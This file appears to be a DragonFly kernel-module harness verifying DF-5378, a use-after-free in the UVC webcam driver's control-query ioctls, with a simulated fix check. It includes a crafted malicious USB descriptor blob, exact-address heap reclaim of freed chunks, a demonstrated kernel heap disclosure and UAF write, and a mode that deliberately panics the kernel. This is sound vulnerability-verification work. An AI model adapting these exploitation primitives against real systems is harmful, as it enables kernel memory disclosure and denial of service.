/*
 * uvcharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_ctrls.c
 *
 * DF-5378: use-after-free of the whole UVC control graph in
 *          uvc_query_v4l2_ctrl()/uvc_query_v4l2_menu().
 *
 * Production detach order (uvc_drv.c:2493-2518):
 *      uvc_drv_destroy_video(sc->video);       2503  (does NOT touch cdev)
 *      uvc_drv_destroy_data(sc->data);         2506
 *      uvc_drv_destroy_ctrl(sc->ctrl);         2507  <- frees menus,
 *                                                          sub_infos[], uvc_data,
 *                                                          controls[], topo_nodes,
 *                                                          node_info, controls_mask
 *                                                          and sc->ctrl itself,
 *                                                          with NO lock held
 *      uvc_v4l2_unreg(sc->video);              2511  <- destroy_dev() happens
 *                                                          only HERE
 *
 * /dev/videoN is created 0666 (uvc_v4l2.c:783-785).  An unprivileged user
 * holding it open can be inside VIDIOC_QUERYCTRL -> uvc_query_v4l2_ctrl()
 * (uvc_ctrls.c:1102) when a device disconnect (unplug; an evil webcam can
 * disconnect itself on demand) runs that sequence.  The ioctl then:
 *   - takes video->ctrl->mtx on freed memory          (uvc_ctrls.c:1107)
 *   - walks the freed topo_nodes STAILQ               (uvc_ctrls.c:1090)
 *   - WRITES ctrl->info.cached_sub_info_idx = j       (uvc_ctrls.c:1065)
 *     -> 1-byte write into a freed (reclaimable) chunk
 *   - strlcpy()s sub_info->v4l2_name into the user-visible query->name
 *                                                     (uvc_ctrls.c:1001,1150)
 *     -> discloses up to 31 bytes of reclaimed kernel heap to userspace
 *
 * The harness #includes the REAL driver sources (registration neutered),
 * builds a real control graph with the production parse+init code, runs the
 * production query, then runs the production free path and reclaims the freed
 * chunks at their exact addresses (what a heap-grooming attacker does in the
 * race window that the production detach ordering guarantees).
 *
 * mode 1 (at MOD_LOAD): controlled reclaim - proves the UAF WRITE and the
 *                       heap DISCLOSURE through 100% production code paths.
 * mode 2 (sysctl=2):    uncontrolled - freed ctrl chunk poisoned -> wild
 *                       pointer walk -> kernel panic (raw UAF severity).
 * mode 3 (sysctl=3):    fixed-detach simulation (run on the fix.diff build):
 *                       video->ctrl NULLed under its lock before destroy ->
 *                       patched uvc_query_v4l2_ctrl() must return ENODEV
 *                       instead of touching freed memory.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/bus.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>

/* DragonFly kernel has no <stddef.h>; use the compiler builtin */
#ifndef offsetof
#define offsetof(t, m)	__builtin_offsetof(t, m)
#endif

/* Neuter driver registration; we want the control-path code only. */
#undef DRIVER_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, drv, dc, evh, arg)
#define MODULE_DEPEND(name, mod, min, pref, max)
#define MODULE_VERSION(mod, ver)

/* The real driver code, verbatim */
#include "uvc_buf.c"
#include "uvc_ctrls.c"
#include "uvc_v4l2.c"
#include "uvc_drv.c"

/* keep the (now unregistered) driver objects referenced */
static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass };

static struct usb_device fake_udev;
static struct usb_interface fake_ifaces[2];
static uint8_t fake_devt[512];

#define BLOB_LEN 64

/*
 * VideoControl-only evil descriptor blob:
 *   [0..8]   config descriptor (wTotalLength = BLOB_LEN)
 *   [9..17]  interface #0: VIDEO class, subclass CONTROL (1)
 *   [18..30] CS VC_HEADER, bLength=13, bIfaceNums=0 (no streaming ifaces;
 *            uvc_drv_parse_ctrl() still returns 0 - see DF-5306)
 *   [31..47] CS INPUT_TERMINAL, camera (wTerminalType=0x0201), bLength=17,
 *            bControlSize=2, bmControls={0x02,0x08}
 *            -> bit 1  (UVC_CT_AE_MODE_CONTROL):
 *               1 control, 1 sub-info (V4L2_CID_EXPOSURE_AUTO, MENU type,
 *               menus[0] = exposure_mode_menu, 4 items) and byte_size=1
 *               (uvc_data = 1*6+1 = 7 bytes)
 *            -> bit 11 (UVC_CT_PANTILT_ABSOLUTE_CONTROL):
 *               1 control, 2 sub-infos (PAN_ABSOLUTE + TILT_ABSOLUTE),
 *               info.byte_size=8, no menus, uvc_data = 8*6+1 = 49 bytes.
 */
static void
build_blob(uint8_t *b)
{
	uint8_t *p;

	memset(b, 0x00, BLOB_LEN);

	/* configuration descriptor */
	p = b;
	p[0] = 9;  p[1] = 2;
	p[2] = BLOB_LEN & 0xff;
	p[3] = (BLOB_LEN >> 8) & 0xff;
	p[4] = 1;			/* bNumInterface */
	p[5] = 1;			/* bConfigurationValue */
	p[7] = 0x80;  p[8] = 250;

	/* interface #0: VIDEO/CONTROL */
	p = b + 9;
	p[0] = 9;  p[1] = 4;  p[2] = 0;  p[3] = 0;  p[4] = 0;
	p[5] = 0x0E;  p[6] = 0x01;  p[7] = 0;  p[8] = 0;

	/* CS VC_HEADER */
	p = b + 18;
	p[0] = 13;  p[1] = 0x24;  p[2] = 0x01;	/* UDESCSUB_VC_HEADER */
	p[3] = 0x10;  p[4] = 0x01;		/* wRevision = 0x0110 */
	p[5] = 13;   p[6] = 0;			/* wTotalLen */
	p[7] = 0x00; p[8] = 0x36; p[9] = 0xEE; p[10] = 0x00;
	p[11] = 0;				/* bIfaceNums = 0 */
	p[12] = 0;				/* bIfaceList[0] unused */

	/* CS INPUT_TERMINAL - camera terminal with bits 1 and 11 */
	p = b + 31;
	p[0] = 17;  p[1] = 0x24;  p[2] = 0x02;	/* UDESCSUB_VC_INPUT_TERMINAL */
	p[3] = 0x07;				/* bTerminalID */
	p[4] = 0x01;  p[5] = 0x02;		/* wTerminalType = 0x0201 camera */
	p[6] = 0;				/* bAssocTerminal */
	p[7] = 0;				/* bITerminal */
	p[8] = 0;  p[9] = 0;			/* wObjectiveFocalLengthMin */
	p[10] = 0; p[11] = 0;			/* wObjectiveFocalLengthMax */
	p[12] = 0; p[13] = 0;			/* wOcularFocalLength */
	p[14] = 2;				/* bControlSize = 2 */
	p[15] = 0x02;				/* bmControls[0]: bit 1 */
	p[16] = 0x08;				/* bmControls[1]: bit 11 */
}

static void
setup_fake(uint8_t *blob)
{
	memset(&fake_udev, 0, sizeof(fake_udev));
	fake_udev.cdesc = (struct usb_config_descriptor *)blob;
	fake_udev.ifaces = fake_ifaces;
	fake_udev.ifaces_max = 2;

	memset(fake_ifaces, 0, sizeof(fake_ifaces));
	fake_ifaces[0].idesc = (struct usb_interface_descriptor *)(blob + 9);
}

/*
 * Build the production control graph: parse the blob, then run the real
 * uvc_ctrl_init_dev() (the control-discovery walk of the file under audit).
 */
static struct uvc_drv_ctrl *
build_graph(uint8_t *blob, struct uvc_softc *sc, struct uvc_drv_video *video)
{
	struct uvc_drv_ctrl *ctrl;
	struct uvc_topo_node *node;
	int ret;

	build_blob(blob);
	setup_fake(blob);
	memset(sc, 0, sizeof(*sc));
	sc->udev = &fake_udev;
	sc->dev = (device_t)(void *)fake_devt;

	ctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0);
	ret = uvc_drv_parse_ctrl(sc, ctrl);
	if (ret != 0 || ctrl == NULL) {
		kprintf("HARNESS: graph build failed ret=%d\n", ret);
		return NULL;
	}
	ret = uvc_ctrl_init_dev(sc, ctrl);
	if (ret != 0) {
		kprintf("HARNESS: uvc_ctrl_init_dev ret=%d\n", ret);
		return NULL;
	}

	memset(video, 0, sizeof(*video));
	video->ctrl = ctrl;

	node = STAILQ_FIRST(&ctrl->topo_nodes);
	kprintf("HARNESS: graph: ctrl=%p node=%p controls=%p controls_num=%u "
	    "ctrl0(AE)=%p sub=%p menu=%p | ctrl1(PT)=%p sub0=%p sub1=%p\n",
	    ctrl, node, node->controls, node->controls_num,
	    &node->controls[0], node->controls[0].info.sub_infos[0],
	    node->controls[0].info.menus[0].menu_data,
	    &node->controls[1],
	    node->controls[1].info.sub_infos[0],
	    node->controls[1].info.sub_infos[1]);
	return ctrl;
}

/* extra chunks taken during reclaim probing, freed at unload */
static void *leakkeep[512];
static int leakkeep_n = 0;

/*
 * Reclaim a freed chunk at an exact address: allocate same-size M_UVC chunks
 * until one lands on `want' (DragonFly per-type/size zones are LIFO on the
 * same CPU, so this converges in 1-2 iterations in practice).
 */
static void *
reclaim_exact(size_t size, void *want)
{
	void *p;
	int i;

	for (i = 0; i < 64; i++) {
		p = kmalloc(size, M_UVC, M_WAITOK);
		if (p == want)
			return p;
		if (leakkeep_n < (int)nitems(leakkeep))
			leakkeep[leakkeep_n++] = p;
	}
	return NULL;
}

static void
hexdump32(const char *tag, const void *v)
{
	const uint8_t *b = v;
	int i;

	kprintf("%s:", tag);
	for (i = 0; i < 32; i++)
		kprintf("%s%02x", (i % 16) ? " " : "\n  ", b[i]);
	kprintf("\n");
}

/* snapshot bookkeeping for the chunks the production free path releases */
struct snapchunk {
	void   *addr;
	size_t  size;
	uint8_t buf[512];
	void   *reclaimed;
};

static struct snapchunk snaps[16];
static int nsnaps;

static void
snap_add(void *addr, size_t size)
{
	struct snapchunk *s;

	if (addr == NULL || size == 0 || size > sizeof(s->buf) ||
	    nsnaps >= (int)nitems(snaps))
		return;
	s = &snaps[nsnaps++];
	s->addr = addr;
	s->size = size;
	memcpy(s->buf, addr, size);
	s->reclaimed = NULL;
}

static int
snap_reclaim_all(void)
{
	int i, ok = 1;

	/* reverse order of the production frees (LIFO zones) */
	for (i = nsnaps - 1; i >= 0; i--) {
		snaps[i].reclaimed = reclaim_exact(snaps[i].size, snaps[i].addr);
		if (snaps[i].reclaimed == NULL) {
			kprintf("HARNESS DF-5378: reclaim FAILED for chunk %p "
			    "(size %zu)\n", snaps[i].addr, snaps[i].size);
			ok = 0;
		}
	}
	return ok;
}

static void
snap_restore_all(void)
{
	int i;

	for (i = 0; i < nsnaps; i++) {
		if (snaps[i].reclaimed == NULL)
			continue;
		memcpy(snaps[i].reclaimed, snaps[i].buf, snaps[i].size);
	}
}

static void
snap_free_all(void)
{
	int i;

	for (i = 0; i < nsnaps; i++) {
		if (snaps[i].reclaimed == NULL)
			continue;
		kfree(snaps[i].reclaimed, M_UVC);
		snaps[i].reclaimed = NULL;
	}
	nsnaps = 0;
}

/*
 * MODE 1 - controlled reclaim: prove the UAF write + heap disclosure.
 */
static void
run_controlled(void)
{
	static uint8_t blob[BLOB_LEN];
	struct uvc_softc sc;
	struct uvc_drv_video video;
	struct uvc_drv_ctrl *ctrl;
	struct uvc_topo_node *node;
	struct uvc_control *ct_ae, *ct_pt;
	struct v4l2_queryctrl q;
	struct v4l2_querymenu qm;
	size_t off_cached, off_name;
	uint8_t *cachedp, *namep;
	int ret, i;

	off_cached = offsetof(struct uvc_control, info) +
	    offsetof(struct uvc_ctrl_info, cached_sub_info_idx);
	off_name = offsetof(struct uvc_ctrl_sub_info, v4l2_name);

	ctrl = build_graph(blob, &sc, &video);
	if (ctrl == NULL)
		return;
	node = STAILQ_FIRST(&ctrl->topo_nodes);
	ct_ae = &node->controls[0];	/* AE_MODE */
	ct_pt = &node->controls[1];	/* PANTILT_ABSOLUTE */

	/* ---- sanity: production queries work on the live graph ---- */
	memset(&q, 0, sizeof(q));
	q.id = V4L2_CID_TILT_ABSOLUTE;
	ret = uvc_query_v4l2_ctrl(&video, &q);
	kprintf("HARNESS DF-5378[baseline]: ret=%d name=<%s> "
	    "(expect 0 / 'Tilt (Absolute)')\n", ret, q.name);
	if (ret != 0 || strcmp((char *)q.name, "Tilt (Absolute)") != 0) {
		kprintf("HARNESS DF-5378: baseline mismatch, abort\n");
		return;
	}

	/* ---- snapshot every chunk the production free path releases ----
	 * Order = the exact production free sequence inside
	 * uvc_drv_destroy_ctrl() (uvc_drv.c:2453-2474):
	 *   per control: destroy_mappings frees sub_infos[0..4], then
	 *   menus[0..4], then kfree(ctrl->uvc_data); after the loop,
	 *   uvc_free_topo_node() frees controls_mask, node_info, controls,
	 *   topo_node; finally kfree(c).  The reverse iteration used for
	 *   reclaiming is then the exact LIFO allocation order. */
	nsnaps = 0;
	snap_add(ct_ae->info.sub_infos[0], sizeof(struct uvc_ctrl_sub_info));
	snap_add(ct_ae->info.menus[0].menu_data,
	    ct_ae->info.menus[0].item_num * sizeof(struct uvc_ctrl_menu_item));
	snap_add(ct_ae->uvc_data, ct_ae->info.byte_size * UVC_CTRL_DATA_LAST + 1);
	snap_add(ct_pt->info.sub_infos[0], sizeof(struct uvc_ctrl_sub_info));
	snap_add(ct_pt->info.sub_infos[1], sizeof(struct uvc_ctrl_sub_info));
	snap_add(ct_pt->uvc_data, ct_pt->info.byte_size * UVC_CTRL_DATA_LAST + 1);
	snap_add(node->controls_mask,
	    ((struct uvc_ct_node_info *)node->node_info)->bControlSize);
	snap_add(node->node_info, sizeof(struct uvc_ct_node_info));
	snap_add(node->controls, node->controls_num * sizeof(*ct_ae));
	snap_add(node, sizeof(*node));
	snap_add(ctrl, sizeof(*ctrl));
	kprintf("HARNESS DF-5378: snapshotted %d chunks in production free "
	    "order (sub_AE, menu, uvcdata_AE, subP0, subP1, uvcdata_PT, mask, "
	    "node_info, controls[2], node, ctrl)\n", nsnaps);

	/* ---- production detach free path: uvc_drv_destroy_ctrl() ----
	 * (uvc_drv.c:2507 -> 2453-2474: frees menus, sub_infos, uvc_data,
	 *  controls[], topo_node, node_info, controls_mask and the
	 *  uvc_drv_ctrl itself; takes NO lock, runs BEFORE destroy_dev()
	 *  at uvc_drv.c:2511) */
	uvc_drv_destroy_ctrl(ctrl);
	kprintf("HARNESS DF-5378: production uvc_drv_destroy_ctrl() done - "
	    "graph freed, video->ctrl=%p now DANGLING (cdev not yet destroyed)\n",
	    video.ctrl);

	/* ---- attacker reclaims every chunk at the same addresses ---- */
	if (!snap_reclaim_all()) {
		kprintf("HARNESS DF-5378: reclaim incomplete, abort\n");
		snap_free_all();
		return;
	}
	kprintf("HARNESS DF-5378: all %d freed chunks reclaimed at their "
	    "original addresses\n", nsnaps);
	snap_restore_all();

	/* attacker deltas on the reclaimed (freed) memory: */
	/* delta 1 (leak): pantilt sub_infos[1]->v4l2_name = marker 0x5A */
	namep = (uint8_t *)ct_pt->info.sub_infos[1] + off_name;
	memset(namep, 0x5A, 32);
	/* delta 2 (leak, QUERYMENU path): AE sub_info->v4l2_name = 0x5B */
	namep = (uint8_t *)ct_ae->info.sub_infos[0] + off_name;
	memset(namep, 0x5B, 32);
	/* delta 3 (write): preset pantilt cached_sub_info_idx = 0xAA */
	cachedp = (uint8_t *)ct_pt + off_cached;
	*cachedp = 0xAA;
	kprintf("HARNESS DF-5378: poisoned reclaimed chunks: "
	    "PT.sub1->v4l2_name=0x5A*32, AE.sub->v4l2_name=0x5B*32, "
	    "controls[1].cached_sub_info_idx=0xAA (offset %zu)\n", off_cached);

	/* ---- the racing VIDIOC_QUERYCTRL, verbatim production path ---- */
	memset(&q, 0, sizeof(q));
	q.id = V4L2_CID_TILT_ABSOLUTE;
	ret = uvc_query_v4l2_ctrl(&video, &q);
	kprintf("HARNESS DF-5378[UAF query]: ret=%d name_len=%zu\n",
	    ret, strlen((char *)q.name));
	hexdump32("HARNESS q.name (user-visible via VIDIOC_QUERYCTRL)", q.name);

	if (ret == 0 && (uint8_t)q.name[0] == 0x5A && q.name[31] == 0) {
		kprintf("HARNESS DF-5378: *** UAF READ/LEAK CONFIRMED: 31 bytes "
		    "of attacker-marked FREED-chunk content copied into the "
		    "user-visible queryctrl.name ***\n");
	}
	if (*cachedp == 0x01) {
		kprintf("HARNESS DF-5378: *** UAF WRITE CONFIRMED: "
		    "uvc_ctrls.c:1065 wrote cached_sub_info_idx=1 into the "
		    "freed-and-reclaimed controls[1] chunk (was 0xAA) ***\n");
	} else {
		kprintf("HARNESS DF-5378: write byte now 0x%02x (want 0x01)\n",
		    *cachedp);
	}

	/* same lifetime bug via VIDIOC_QUERYMENU (strlcpy at uvc_ctrls.c:1150):
	 * AE_MODE is MENU-typed so menus[0].menu_data != NULL and the strlcpy
	 * from sub_infos[0]->v4l2_name is reached */
	memset(&qm, 0, sizeof(qm));
	qm.id = V4L2_CID_EXPOSURE_AUTO;
	qm.index = 0;
	ret = uvc_query_v4l2_menu(&video, &qm);
	kprintf("HARNESS DF-5378[UAF menu]: ret=%d\n", ret);
	hexdump32("HARNESS qm.name (user-visible via VIDIOC_QUERYMENU)", qm.name);
	if (ret == 0 && (uint8_t)qm.name[0] == 0x5B)
		kprintf("HARNESS DF-5378: *** QUERYMENU disclosure confirmed "
		    "(strlcpy from freed sub_info at uvc_ctrls.c:1150) ***\n");

	/* leak_sample lines for the evidence pack */
	kprintf("HARNESS LEAKSAMPLE-QUERYCTRL ");
	for (i = 0; i < 32; i++)
		kprintf("%02x", (uint8_t)q.name[i]);
	kprintf("\nHARNESS LEAKSAMPLE-QUERYMENU ");
	for (i = 0; i < 32; i++)
		kprintf("%02x", (uint8_t)qm.name[i]);
	kprintf("\n");

	/* tidy: release the reclaimed chunks, guest must stay up */
	snap_free_all();
	kprintf("HARNESS DF-5378: mode 1 done, guest should stay up\n");
}

/*
 * MODE 2 - uncontrolled: freed ctrl chunk poisoned -> wild walk -> panic.
 */
static void
run_wild(void)
{
	static uint8_t blob[BLOB_LEN];
	struct uvc_softc sc;
	struct uvc_drv_video video;
	struct uvc_drv_ctrl *ctrl, *rc;
	struct v4l2_queryctrl q;
	int ret;

	ctrl = build_graph(blob, &sc, &video);
	if (ctrl == NULL)
		return;

	memset(&q, 0, sizeof(q));
	q.id = V4L2_CID_TILT_ABSOLUTE;
	ret = uvc_query_v4l2_ctrl(&video, &q);
	kprintf("HARNESS DF-5378[wild baseline]: ret=%d name=<%s>\n",
	    ret, q.name);

	uvc_drv_destroy_ctrl(ctrl);		/* production free path */

	/* reclaim ONLY the uvc_drv_ctrl chunk (MRU in its zone) and poison it:
	 * 0x5A everywhere except a zeroed struct lock so the production
	 * UVC_LOCK(&video->ctrl->mtx) at uvc_ctrls.c:1107 succeeds and the
	 * walk reaches topo_nodes.stqh_first = 0x5a5a5a5a5a5a5a5a. */
	rc = reclaim_exact(sizeof(*ctrl), ctrl);
	if (rc == NULL) {
		kprintf("HARNESS DF-5378[wild]: ctrl chunk not reclaimed, abort\n");
		return;
	}
	memset(rc, 0x5A, sizeof(*ctrl));
	memset((uint8_t *)rc + offsetof(struct uvc_drv_ctrl, mtx), 0,
	    sizeof(struct lock));

	kprintf("HARNESS DF-5378[wild]: ctrl chunk poisoned; expect fatal trap "
	    "reading ~0x5a5a5a5a5a5a5a5a+%zu (topo_node->controls_num) inside "
	    "uvc_search_control_sub()\n",
	    offsetof(struct uvc_topo_node, controls_num));

	memset(&q, 0, sizeof(q));
	q.id = V4L2_CID_TILT_ABSOLUTE;
	ret = uvc_query_v4l2_ctrl(&video, &q);	/* wild walk on freed graph */
	kprintf("HARNESS DF-5378[wild]: returned %d (UNEXPECTED - no panic)\n",
	    ret);
}

/*
 * MODE 3 - fixed-detach simulation (run on the fix.diff build):
 * replicate fixed uvc_drv_detach(): NULL video->ctrl under its lock BEFORE
 * uvc_drv_destroy_ctrl(); the patched uvc_query_v4l2_ctrl() must bail with
 * ENODEV instead of walking freed memory.
 */
static void
run_fixeddetach(void)
{
	static uint8_t blob[BLOB_LEN];
	struct uvc_softc sc;
	struct uvc_drv_video video;
	struct uvc_drv_ctrl *ctrl;
	struct v4l2_queryctrl q;
	int ret;

	ctrl = build_graph(blob, &sc, &video);
	if (ctrl == NULL)
		return;

	memset(&q, 0, sizeof(q));
	q.id = V4L2_CID_TILT_ABSOLUTE;
	ret = uvc_query_v4l2_ctrl(&video, &q);
	kprintf("HARNESS DF-5378[fix baseline]: ret=%d name=<%s>\n",
	    ret, q.name);

	/* fixed detach sequence: quiesce the query paths first.
	 * (mirrors fix.diff's uvc_drv_detach(): NULL video->ctrl under the
	 * ctrl lock, unlocking via the saved sc->ctrl pointer) */
	{
		struct uvc_drv_ctrl *c = video.ctrl;

		UVC_LOCK(&c->mtx);
		video.ctrl = NULL;
		UVC_UNLOCK(&c->mtx);
	}
	uvc_drv_destroy_ctrl(ctrl);

	memset(&q, 0, sizeof(q));
	q.id = V4L2_CID_TILT_ABSOLUTE;
	ret = uvc_query_v4l2_ctrl(&video, &q);
	kprintf("HARNESS DF-5378[fix post-detach]: query ret=%d "
	    "(want ENODEV=%d, NO freed-memory access, guest up)\n",
	    ret, ENODEV);
}

static int harness_mode = 0;

static int
sysctl_harness(SYSCTL_HANDLER_ARGS)
{
	int error, m = harness_mode;

	error = SYSCTL_OUT(req, &m, sizeof(m));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &m, sizeof(m));
	if (error != 0)
		return (error);
	if (m == 2)
		run_wild();
	else if (m == 3)
		run_fixeddetach();
	harness_mode = m;
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, uvcharness, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_harness, "I", "uvc ctrls verification harness trigger");

static int
uvcharness_handler(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("HARNESS: loaded (real uvc sources compiled in)\n");
		run_controlled();
		return (0);
	case MOD_UNLOAD:
		while (leakkeep_n > 0)
			kfree(leakkeep[--leakkeep_n], M_UVC);
		kprintf("HARNESS: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t uvcharness_mod = {
	"uvcharness",
	uvcharness_handler,
	NULL
};
DECLARE_MODULE(uvcharness, uvcharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
